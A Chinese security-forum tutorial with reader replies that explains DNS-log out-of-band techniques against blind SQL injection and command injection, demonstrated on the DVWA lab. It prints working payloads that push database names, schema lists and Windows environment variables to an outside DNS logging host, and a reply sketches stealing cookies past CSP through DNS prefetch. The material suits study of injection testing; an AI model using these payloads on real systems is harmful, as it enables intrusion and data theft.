用户
搜索

该用户从未签到

i春秋签约作家

Rank: 7Rank: 7Rank: 7

6

主题

31

帖子

330

魔法币
收听
0
粉丝
12
注册时间
2016-12-23

签约作者

发表于 2017-4-21 16:09:54 1525336
本帖最后由 sucppVK 于 2017-4-21 16:15 编辑

一、前言

本文原创作者:sucppVK,本文属i春秋原创奖励计划,未经许可禁止转载!

毕业设计总算搞得差不多了,这个心累啊。
这不,完成了学校的任务,赶紧回来给蛋总交作业。
今天给大家分享一个姿势吧,不是什么新东西,但比较少见——用DNS log来获取回显。

大家在渗透测试的时候可能会遇到一下这些情况:
  • 挖到一个有SQL盲注的站点,可是用sqlmap跑需要频繁请求,最后导致ip被ban
  • 发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞
总之就是目标不让信息显示出来,如果能发送请求,那么就可以尝试咱这个办法——用DNS log来获取回显



二、正文


2.1   初探门路

DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息


例如我们自己的域名是:vk.org
那么我们把信息放在二级域名处,textxxxxxx.vk.org
想方法发起这个域名解析请求,那么那边就能收到textxxxxxxx这个信息了。


如果没有自己的vps,没有相关条件怎么办?
网上也有不少这样的dnslog平台
这里推荐一个免费的:http://ceye.io
注册之后如图
i春秋2.png
他会给你一个三级域名,你把信息写在第四级域名上就好了
例如我这里直接浏览器访问:ichunqiu_vk.xxxx.ceye.io
i春秋2.png

显示not found,没关系回去doslog平台看看:
11.png
可以看到信息传进来了。



2.2  在SQL注入中的运用
11.png

这里就使用 DVWA做环境了
他里面就有盲注模块,简单来检测注入点,
11.png 57W58PICJC4_1024.png
这里不做解释了,不懂的去看看我以前的sql注入帖子:
https://bbs.ichunqiu.com/thread-18284-1-1.html
可以看到,这里存在注入点,可惜是盲注,无法看到详细信息
盲注的利用方法,大家应该都知道,要么用逻辑法,要么用延时法
总之就是要一个字符一个字符去猜,要发送大量的get请求,


那么这种行为很容易被目标物理防火墙认定位是黑客行为
最终导致IP被ban


如果利用dnsLog来获取信息,既高效又避免这种情况发生
先看看效果:
11.png

11.png
成功获取当前查询的数据库名称。
是不是很方便

深入分析:

我们看看payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)--+

首先用and拼接两个条件,
if()函数用法:if((a=b),1,0),判断a=b是否为真,若真,则输出第二个参数(即1),否则输出低三个参数(即0)
而if在这里并不重要。

重点在于 load_file()
放这幅图,你们感受一下
11.png


load_file():
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。

这个函数也可以用来发送dns解析请求,这就是关键
利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))
concat是字符串拼接
绿色部分就是你要做SQL注入查询的地方
天蓝色就是你的dnslog平台给你的域名
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥


怎么利用?
例如你要查看数据库系统有什么数据库则把绿色部分改成:select schema_name from information_schema.schemata limit 0,1
要注意的是数据很可能不止一行,因此要用limit分次输出
如图:
11.png
因为vk之前有做过测试,为了和之前不一样 我加了个-new
57W58PICJC4_1024.png
如图,已经把第一行数据脱出来了,bwapp
接着第二行、第三行只需要修改limit 1,1 limit 2,1即可



这样就能高效的进行盲注
就相当于给盲注带上眼镜




2.3  在命令注入中的运用
发现疑似命令注入的洞,但是目标站点什么也不显示,无法确认是不是有洞

如果是win系统,简单的ping %os%.xxxx.cete.io 即可
11.png
这里也是用dvwa的命令注入做演示
看看dnslog那边:
11.png
得到了os的信息,那么就说明这里存在命令注入


这里给大家一个win的常用变量吧

  • //变量                     类型       描述
  • //%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
  • //%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
  • //%CD%                     本地       返回当前目录字符串。
  • //%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
  • //%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
  • //%COMPUTERNAME%           系统       返回计算机的名称。
  • //%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
  • //%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
  • //%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
  • //%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
  • //%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
  • //%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
  • //%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
  • //%PATH%                   系统       指定可执行文件的搜索路径。
  • //%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
  • //%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
  • //%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
  • //%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
  • //%PROCESSOR_REVISION%     系统       返回处理器的版本号。
  • //%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
  • //%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
  • //%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
  • //%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
  • //%TEMP%和%TMP%            系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
  • //%TIME%                   系统       返回当前时间。使用与                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有关                       time   命令的详细信息,请参阅 Time。
  • //%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
  • //%USERNAME%               本地       返回当前登录的用户的名称。
  • //%USERPROFILE%            本地       返回当前用户的配置文件的位置。
  • //%WINDIR%                 系统       返回操作系统目录的位置。

如果目标系统是linux的话,则可用用shell语言来挑选,那就更加方便了
两幅图 自己感受一下:

11.png
57W58PICJC4_1024.png
第一个是查出该系统用户使用最多的命令,第二个则是使用第二多的命令

i春秋1.png

分别是figlet和ls

三、结束语

学无止境,诚惶诚恐,这个dnslog真能算一个小神器
吐司上也有这样的平台,但不太好使,问了问管理 他说凑活用吧。。。。。





评分

参与人数 1魔法币 +3 收起 理由
mutoulazy + 3 感谢你的分享,i春秋论坛有你更精彩!.

查看全部评分

本帖被以下淘专辑推荐:

yyyxy 管理员 六国战旗移动展示平台! 秦 楚 燕 魏 齐 赵
来自 15#
发表于 2017-4-25 17:47:39
文章奖励介绍及评分标准:http://bbs.ichunqiu.com/thread-7869-1-1.html,如有疑问请加QQ:286894635!
奖金
点评
50
小技巧很有趣,下次加油

使用道具 举报 回复
发表于 2017-4-21 17:14:16
这个挺好的,能帮助显示很多信息
使用道具 举报 回复
发表于 2017-4-21 17:25:29
很好的文章,dns解析记录是很有用;借楼分享个tip, 有时候xss被csp拦住了发不出去,完全可以构造payload,利用dns预读取,然后查询dns解析记录查看发送的cookie,当然具体实现不是那么简单,有大佬实验过可行,我这就是提供个思路
使用道具 举报 回复
发表于 2017-4-21 19:30:40
表哥!请问失败了是怎么回事!命令执行那个可以成功,但是sql注入却失败!不管是照你得样子在dvwa下面执行,还是在本地sql命令行执行都是失败!无任何回显。
QQ图片20170421192942.png
使用道具 举报 回复
发表于 2017-4-21 20:54:50
w_uai 发表于 2017-4-21 19:30
表哥!请问失败了是怎么回事!命令执行那个可以成功,但是sql注入却失败!不管是照你得样子在dvwa下面执行 ...

有些特殊字符是没办法发过去的,试试hex()
使用道具 举报 回复
发表于 2017-4-21 20:55:53
xiaoye 发表于 2017-4-21 17:25
很好的文章,dns解析记录是很有用;借楼分享个tip, 有时候xss被csp拦住了发不出去,完全可以构造payload, ...

膜拜
使用道具 举报 回复
发表于 2017-4-21 20:56:44
sucppVK 发表于 2017-4-21 20:54
有些特殊字符是没办法发过去的,试试hex()

表哥找到原因了!开启了!secure file priv这个,但是问题是现在怎么处理掉这个呢?不知道命令!
使用道具 举报 回复
发表于 2017-4-21 21:11:45
w_uai 发表于 2017-4-21 20:56
表哥找到原因了!开启了!secure file priv这个,但是问题是现在怎么处理掉这个呢?不知道命令! ...

用root呗
使用道具 举报 回复
发表于 2017-4-22 10:46:13
很好的一篇文章
使用道具 举报 回复
发表于 2017-4-22 12:22:41
使用道具 举报 回复
发表于 2017-4-24 10:53:23
膜拜大神
使用道具 举报 回复
发表于 2017-4-24 11:15:36
谢谢分享
使用道具 举报 回复
谢谢分享
使用道具 举报 回复
发表于 2017-4-25 11:14:42
平台怎么搭建的?好姿势
使用道具 举报 回复
12下一页
发新帖
您需要登录后才可以回帖 登录 | 立即注册